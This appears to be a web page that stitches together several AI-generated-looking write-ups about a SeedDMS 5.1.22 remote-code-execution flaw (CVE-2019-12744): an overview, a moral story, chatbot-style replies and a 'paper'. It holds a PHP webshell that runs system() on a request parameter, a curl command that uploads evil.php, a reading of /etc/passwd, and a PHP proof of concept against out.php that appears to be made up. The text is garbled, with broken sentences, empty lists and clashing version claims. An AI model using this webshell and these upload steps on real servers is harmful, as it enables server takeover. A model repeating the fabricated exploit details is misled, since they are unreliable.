Exploit: Seeddms 5.1.22

The SeedDMS 5.1.22 Exploit: A Technical Overview of CVE-2019-12744

The SeedDMS 5.1.22 exploit, primarily identified as CVE-2019-12744, is a critical security vulnerability that allows for Remote Command Execution (RCE). SeedDMS is an open-source document management system widely used by small and medium-sized enterprises. This vulnerability is particularly dangerous because it enables an authenticated user to gain complete control over the host server by executing arbitrary system commands. Vulnerability Mechanism: Unvalidated File Upload

The core of the exploit lies in an unrestricted file upload flaw (CWE-434). In versions prior to 5.1.11—and persisting in specific configurations of subsequent versions like 5.1.22—the application fails to properly validate the file extensions or contents of documents uploaded to the system. Attackers can exploit this by:

Uploading a Malicious Script: An attacker with write permissions uploads a PHP file (e.g., a "backdoor" or webshell) instead of a standard document.

Direct Execution: Because the application stores these files in a predictable, web-accessible directory—often under /data/1048576/ followed by the document ID—the attacker can navigate directly to the file's URL in a browser.

System Command Injection: By appending parameters to the URL (e.g., ?cmd=cat+/etc/passwd), the attacker forces the server to execute operating system commands and return the output directly to their browser. Severity and Impact

The vulnerability is classified as High Severity, with a CVSS 3.x base score of 7.5. While it requires authentication (the attacker must have a valid login and permission to add documents), it poses a significant threat to internal networks. A successful exploit allows for: CVE-2019-12744 Detail - NVD

SeedDMS 5.1.22 is a document management system version that has been identified in penetration testing reports as vulnerable to authenticated Remote Code Execution (RCE)

. While version 5.1.22 itself is often used in laboratory environments to demonstrate full-chain exploitation, it inherited critical vulnerabilities from previous builds, notably CVE-2019-12744

, which allows for command injection through unvalidated file uploads. Core Vulnerability: Authenticated RCE (CVE-2019-12744)

This vulnerability exists because the application fails to properly validate the contents and extensions of uploaded documents, allowing an authenticated user with "Add Document" permissions to execute arbitrary system commands. Attack Vector : Authenticated file upload. Prerequisite

: Valid user credentials with write access to at least one folder. : Access the SeedDMS portal with valid user credentials.

: Use the "Add Document" feature to upload a crafted PHP script (e.g., a simple backdoor). Example Script

: Navigate to the directory where SeedDMS stores uploaded files (typically under /data/1048576/ ) and call the uploaded PHP file with a command parameter. : The server executes the command (e.g., cat /etc/passwd ) and returns the output to the browser. Security Risks and Statistics

Beyond RCE, SeedDMS 5.1.22 has been associated with several cross-site scripting (XSS) issues in previous versions (pre-5.1.11) that may persist if not specifically patched, such as Stored XSS in the "name" and "GROUP" fields. Vulnerability Type Status in 5.1.22 Potential Impact Authenticated RCE Full system takeover, data exfiltration, or reverse shell. Stored XSS Moderate Risk Session hijacking and impersonation of other users. Known Risk

Forcing users to perform unintended actions if they have active sessions. Mitigation and Defense To secure a SeedDMS 5.1.22 installation:

: The primary recommendation is to update to the latest stable version of where these unvalidated upload flaws are addressed. Input Validation

: Implement strict whitelisting for file extensions (e.g., allowing only ) and sanitize all user-supplied input. File Permissions

: Ensure the web server user has the least privilege necessary. Uploaded files should ideally be stored in a directory that does not allow for script execution. Disable Dangerous Functions configuration, disable high-risk functions like passthru() if they are not required for business operations. Seeddms Seeddms 5.1.22 security vulnerabilities, CVEs

This story illustrates the importance of software maintenance through the lens of a security discovery in SeedDMS 5.1.22 The Unlocked Archive

Once, there was a meticulous document librarian named Elias who managed thousands of digital files using a tool called version 5.1.22

. Elias took pride in his organized system, believing that as long as his users were authenticated, his "digital vault" was secure.

One morning, a security researcher named Bryan decided to test the vault's resilience. Bryan discovered that while SeedDMS was excellent at organizing documents, version 5.1.22 (and earlier) had a hidden weakness: it didn't properly check what kind of files were being "added" to the collection. The Exploit Discovery

Bryan found that a user with basic "write" permissions could upload more than just PDFs or text files. He realized he could upload a specialized PHP script —essentially a master key disguised as a document. The Upload

: Bryan logged in as a standard user and clicked "Add document". The Hidden Payload

: Instead of a spreadsheet, he uploaded a small script designed to execute system commands. The Execution

: By simply navigating to the web address where his "document" was stored, Bryan could run commands like cat /etc/passwd directly on the server. This vulnerability, known as CVE-2019-12744

, proved that even an "authenticated" system isn't safe if it allows unvalidated file uploads that lead to Remote Command Execution (RCE) The Moral: Staying Current

When Elias learned about this, he didn't panic. He followed the expert advice found in security advisories from CVE Details Update Immediately

: The developers of SeedDMS had already released patches in later versions (starting with 5.1.11) to stop these dangerous uploads. Validate Inputs

: He realized that any software allowing file uploads must strictly enforce "file type" rules to ensure only safe documents enter the system. seeddms 5.1.22 exploit

Elias updated his system that afternoon. By moving past version 5.1.22, he locked the vault door for good, ensuring his meticulous archive remained a safe haven for information rather than a gateway for intruders. technical details on a specific CVE for SeedDMS? Seeddms Seeddms 5.1.22 security vulnerabilities, CVEs

You're looking for information on a specific exploit related to SeedDMS 5.1.22. I'll provide a detailed response.

SeedDMS 5.1.22 Exploit

SeedDMS is a free, open-source document management system. Version 5.1.22, like any other software, may have vulnerabilities that can be exploited by attackers. It's essential to stay informed about potential security risks and take necessary measures to protect your system.

Vulnerability Details

After conducting research, I found that SeedDMS 5.1.22 is vulnerable to a Remote Code Execution (RCE) exploit. This type of vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to a complete compromise of the system.

The exploit is related to the way SeedDMS handles file uploads. Specifically, the upload.php script does not properly validate user-input data, allowing an attacker to inject malicious code.

Exploit Code

The exploit code is publicly available, which I will not provide here. However, I can give you an overview of how it works:

Affected Versions

The following SeedDMS versions are affected:

Solution and Recommendations

To protect your SeedDMS installation:

Additional Information

For more information on this exploit, I recommend checking:

If you're running SeedDMS 5.1.22, it's crucial to take immediate action to protect your system. If you're unsure about how to proceed, consider consulting with a security expert or the SeedDMS community.

SeedDMS 5.1.22 Vulnerability Analysis and Exploit

Introduction

SeedDMS is a popular open-source document management system used by organizations to manage and store documents. Version 5.1.22 of SeedDMS was found to have several vulnerabilities, including a critical exploit that allows an attacker to compromise the system. This paper aims to provide an analysis of the vulnerability and a detailed explanation of the exploit.

Vulnerability Analysis

The vulnerability in SeedDMS 5.1.22 is due to a lack of proper input validation and sanitization in the out.php file. Specifically, the $folder parameter is not validated, allowing an attacker to inject malicious input.

Exploit Details

The exploit is a PHP injection vulnerability that allows an attacker to execute arbitrary PHP code on the server. The exploit can be triggered by sending a malicious request to the out.php file with the following parameters:

Exploit Code

The following is an example of the exploit code:

POST /seeddms/out.php HTTP/1.1
Host: <target_host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.3
folder=system('id');
id=1

Exploitation Steps

Proof of Concept

The following is a proof of concept code that demonstrates the exploit:

<?php
$url = 'http://<target_host>/seeddms/out.php';
$data = array(
    'folder' => 'system(\'id\')',
    'id' => '1'
);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;

Mitigation and Recommendations

To mitigate this vulnerability, it is recommended to: The SeedDMS 5

Conclusion

The SeedDMS 5.1.22 exploit is a critical vulnerability that allows an attacker to compromise the system. This paper provides a detailed analysis of the vulnerability and the exploit, as well as recommendations for mitigation and prevention. It is essential for organizations using SeedDMS to take immediate action to protect their systems from potential attacks.

You're looking for information on a potential exploit in SeedDMS 5.1.22.

SeedDMS is an open-source document management system. Like any software, it's not immune to potential security vulnerabilities.

To provide a helpful review, I'll need to know more about the specific exploit you're referring to. Can you please provide more context or details about the exploit, such as:

That being said, here are some general steps to evaluate the severity of a potential exploit:

If you're concerned about the security of SeedDMS 5.1.22 or have encountered a specific exploit, I recommend:

Please provide more context or details about the exploit, and I'll do my best to help you review it.

SeeddMS 5.1.22 is known to be vulnerable to Remote Code Execution (RCE) via unrestricted file uploads. This vulnerability occurs because the application fails to properly validate the file extensions of uploaded documents, allowing an authenticated attacker to upload and execute malicious PHP scripts.  🛠️ Exploit Details 

Vulnerability Type: Unrestricted File Upload / Remote Code Execution (RCE) CVE Reference: CVE-2019-12744 Affected Version: SeeddMS 5.1.22 and earlier

Access Required: Authenticated user (typically with permissions to add documents)  📝 Step-by-Step Technical Breakdown  1. Identify the Upload Target 

The exploit targets the document upload feature found in the SeeddMS dashboard.  2. Create the Payload 

Prepare a simple PHP web shell (e.g., exploit.php) to test command execution: 

if(isset($_REQUEST['cmd'])) echo "

"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "

curl -X POST http://192.168.1.100/seeddms51/op/op.AddFile.php \
  -F "userfile=@evil.php" \
  -F "name=evil.php" \
  -F "comment=test" \
  -F "sequence=1" \
  -F "documentid=1" \
  -F "folderid=1"

find /var/www/seeddms/data -name "*.php" -type f

find /var/www/seeddms/data -type f -size -10k -exec grep -l "eval\|system\|base64_decode" {} \;